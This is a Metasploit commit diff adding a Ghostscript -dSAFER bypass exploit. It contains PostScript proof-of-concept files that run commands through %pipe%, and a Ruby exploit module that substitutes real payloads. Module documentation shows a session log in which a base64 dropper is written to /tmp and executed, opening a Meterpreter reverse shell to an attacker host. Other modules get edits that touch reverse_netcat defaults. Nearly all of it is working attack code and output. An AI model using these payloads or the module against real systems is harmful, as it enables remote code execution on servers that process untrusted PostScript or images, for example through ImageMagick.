Land #10564, Add Ghostscript exploit from taviso
Wei Chen
commit
266dec45cd
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@ -0,0 +1,9 @@
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%!PS
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userdict /setpagedevice undef
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a0
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currentpagedevice /HWResolution get 0 (metasploit) put
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{ grestore } stopped pop
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(ppmraw) selectdevice
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mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
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{ showpage } stopped pop
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quit
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@ -0,0 +1,81 @@
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%!PS
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% This is ghostscript bug #699687 (split out from bug #699654)
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% ImageMagick define setpagedevice, just remove their definition. This doesn't
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% do anything if not using ImageMagick.
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userdict /setpagedevice undef
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% function to check if we're on Linux or Windows
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/iswindows {
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% Just checking if paths contain drive
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null (w) .tempfile closefile 1 get 16#3A eq
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} def
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% just select a papersize to initialize page device
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a0
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% The bug is that if you can make grestore or restore fail non-fatally,
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% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
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% properties in your pagedevice, like a nonsense resolution.
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%
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% Normally it would be something like [72.0 72.0], but you can't just def
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% HWResolution to something else (for example), because it's readonly:
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%
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% GS>currentpagedevice wcheck ==
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% false
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%
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% But you can just put or astore into it, because the array itself is writable:
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% GS>currentpagedevice /HWResolution get wcheck ==
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% true
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%
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% Lets just put some junk in there.
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currentpagedevice /HWResolution get 0 (foobar) put
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% This grestore will fail, stopped just catches the error instead of aborting.
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{ grestore } stopped pop
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% Now LockSafetyParams will be incorrectly unset, you can check like this:
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% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
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% false
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% We can change and configure devices now, so make sure we're using one with
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% a OutputFile property.
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(ppmraw) selectdevice
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% Check if we're on Windows or UNIX
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iswindows {
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% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
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%
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% The graphical version doesn't seem to support %pipe%, but you can create
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% arbitrary files. If something is using the api (gs32dll.dll), it may or
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% may not support %pipe%.
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/getstartupdirwindows {
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% This figures out startup location from %TEMP% (Tested on Win10)
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(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
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dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
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} def
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% (directory) (extension) randfile (result)
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/randfile {
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% pick a random filename
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exch rand 32 string cvs concatstrings exch concatstrings
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} def
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mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
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% if you need to create files, use txtwrite like this:
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%mark /OutputFile getstartupdirwindows (.bat) randfile
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% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
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%0 0 moveto
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%(REM This is an exploit demo\n) show
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%(calc.exe\n) show
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} {
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% This is UNIX, just run a shell command
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mark /OutputFile (%pipe%id) currentdevice putdeviceprops
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} ifelse
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{ showpage } stopped pop
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quit
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@ -0,0 +1,77 @@
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## Intro
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This module exploits a `-dSAFER` bypass in Ghostscript to execute
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arbitrary commands by handling a failed `restore` (`grestore`) in
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PostScript to disable `LockSafetyParams` and avoid `invalidaccess`.
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This vulnerability is reachable via libraries such as ImageMagick,
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and this module provides the latest vector for Ghostscript.
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For previous Ghostscript vectors, please see the following modules:
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`exploit/unix/fileformat/ghostscript_type_confusion`
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`exploit/unix/fileformat/imagemagick_delegate`
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## Setup
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Install Ghostscript and use the console command (`gs` on Unix and
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`gswin64c` on Windows). You may also exploit the vulnerability through
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ImageMagick using `convert` or `identify`, for example.
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## Targets
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```
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Id Name
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-- ----
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0 Unix (In-Memory)
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1 PowerShell (In-Memory)
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2 Linux (Dropper)
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```
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## Options
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**FILENAME**
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Set this to the output file's name. Depending on the target environment,
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the file extension may not matter, so the PS file could be named
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`msf.pdf`, for instance. This can potentially work around filename
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filters.
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**WritableDir**
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Set this to a writable directory without `noexec`.
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## Usage
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```
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msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
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target => Linux (Dropper)
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
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lhost => 172.28.128.1
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
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disablepayloadhandler => false
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
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wfsdelay => 3600
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
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verbose => true
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msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
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[*] Started reverse TCP handler on 172.28.128.1:4444
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[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
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[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (816260 bytes) to 172.28.128.3
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[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
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meterpreter > getuid
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Server username: uid=1000, gid=1000, euid=1000, egid=1000
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meterpreter > sysinfo
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Computer : 10.0.2.15
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OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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meterpreter >
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```
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@ -0,0 +1,117 @@
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = ExcellentRanking
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PLACEHOLDER_STRING = 'metasploit'
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PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::CmdStager
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ghostscript Failed Restore Command Execution',
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'Description' => %q{
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This module exploits a -dSAFER bypass in Ghostscript to execute
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arbitrary commands by handling a failed restore (grestore) in
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PostScript to disable LockSafetyParams and avoid invalidaccess.
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This vulnerability is reachable via libraries such as ImageMagick,
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and this module provides the latest vector for Ghostscript.
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For previous Ghostscript vectors, please see the following modules:
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exploit/unix/fileformat/ghostscript_type_confusion
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exploit/unix/fileformat/imagemagick_delegate
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},
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'Author' => [
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'Tavis Ormandy', # Vuln discovery and exploit
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'wvu' # Metasploit module
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],
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'References' => [
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['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
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['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
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],
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'DisclosureDate' => 'Aug 21 2018',
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'License' => MSF_LICENSE,
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'Platform' => ['unix', 'linux', 'win'],
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'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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'Privileged' => false,
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'Targets' => [
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['Unix (In-Memory)',
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_memory,
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'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
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],
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['PowerShell (In-Memory)',
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'Platform' => 'win',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :psh_memory
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],
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['Linux (Dropper)',
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :linux_dropper
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]
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],
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'DefaultTarget' => 0
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))
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register_options([
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OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
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])
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register_advanced_options([
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OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
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])
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end
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def exploit
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sploit = template
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# Replace our placeholder string with a random one
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sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
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# Replace our test payload with the real one
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case target['Type']
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when :unix_memory
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sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
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when :psh_memory
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psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
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# XXX: Payload space applies to the payload, not the PSH command
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if psh.length > targets[0].payload_space
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fail_with(Failure::BadConfig, 'Please choose a smaller payload')
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end
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sploit.sub!(PLACEHOLDER_COMMAND, psh)
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when :linux_dropper
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cmdstager = generate_cmdstager(
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linemax: targets[0].payload_space,
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temp: datastore['WritableDir']
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).join(';')
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# XXX: Payload space applies to the payload, not the command stager
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if cmdstager.length > targets[0].payload_space
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fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
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end
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sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
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end
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file_create(sploit)
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end
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def template
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File.read(File.join(
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Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
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))
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end
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end
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@ -10,18 +10,21 @@ class MetasploitModule < Msf::Exploit
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
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'Description' => %q{
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'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a type confusion vulnerability in Ghostscript that can
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be exploited to obtain arbitrary command execution. This vulnerability affects
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Ghostscript version 9.21 and earlier and can be exploited through libraries
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Ghostscript versions 9.21 and earlier and can be exploited through libraries
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such as ImageMagick and Pillow.
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For more recent Ghostscript vectors, please see the following modules:
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exploit/multi/fileformat/ghostscript_failed_restore
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},
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'Author' => [
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'Author' => [
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'Atlassian Security Team', # Vulnerability discovery
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'hdm' # Metasploit module
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],
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'References' => [
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'References' => [
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%w{AKA ghostbutt},
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%w{CVE 2017-8291},
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%w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
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@ -29,28 +32,18 @@ class MetasploitModule < Msf::Exploit
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%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
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%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
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],
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'DisclosureDate' => 'Apr 27 2017',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {
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'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
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'Compat' => {
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'PayloadType' => 'cmd cmd_bash',
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'RequiredCmd' => 'generic netcat bash-tcp'
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}
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'DisclosureDate' => 'Apr 27 2017',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {
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'BadChars' => "\x22\x27\x5c)(" # ", ', \, (, and )
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},
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'Targets' => [
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'Targets' => [
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['EPS file', template: 'msf.eps']
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_netcat',
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'LHOST' => Rex::Socket.source_address,
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'DisablePayloadHandler' => false,
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'WfsDelay' => 9001
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}
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'DefaultTarget' => 0
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))
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register_options([
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@ -22,7 +22,12 @@ class MetasploitModule < Msf::Exploit
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The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
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(discovered by taviso) to achieve RCE in the Ghostscript delegate.
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Ghostscript versions 9.18 and later are affected.
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Ghostscript versions 9.18 and later are affected. This target is
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provided as is and will not be updated to track additional vulns.
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For more recent Ghostscript vectors, please see the following modules:
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exploit/multi/fileformat/ghostscript_failed_restore
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exploit/unix/fileformat/ghostscript_type_confusion
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If USE_POPEN is set to true, a |-prefixed command will be used for the
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exploit. No delegates are involved in this exploitation.
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@ -30,6 +35,7 @@ class MetasploitModule < Msf::Exploit
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'Author' => [
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'stewie', # Vulnerability discovery
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'Nikolay Ermishkin', # Vulnerability discovery
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'Tavis Ormandy', # Vulnerability discovery
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'wvu', # Metasploit module
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'hdm' # Metasploit module
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],
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@ -41,7 +47,8 @@ class MetasploitModule < Msf::Exploit
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%w{URL http://seclists.org/oss-sec/2016/q3/682},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
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%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
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%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
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%w{AKA ImageTragick}
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],
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'DisclosureDate' => 'May 3 2016',
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'License' => MSF_LICENSE,
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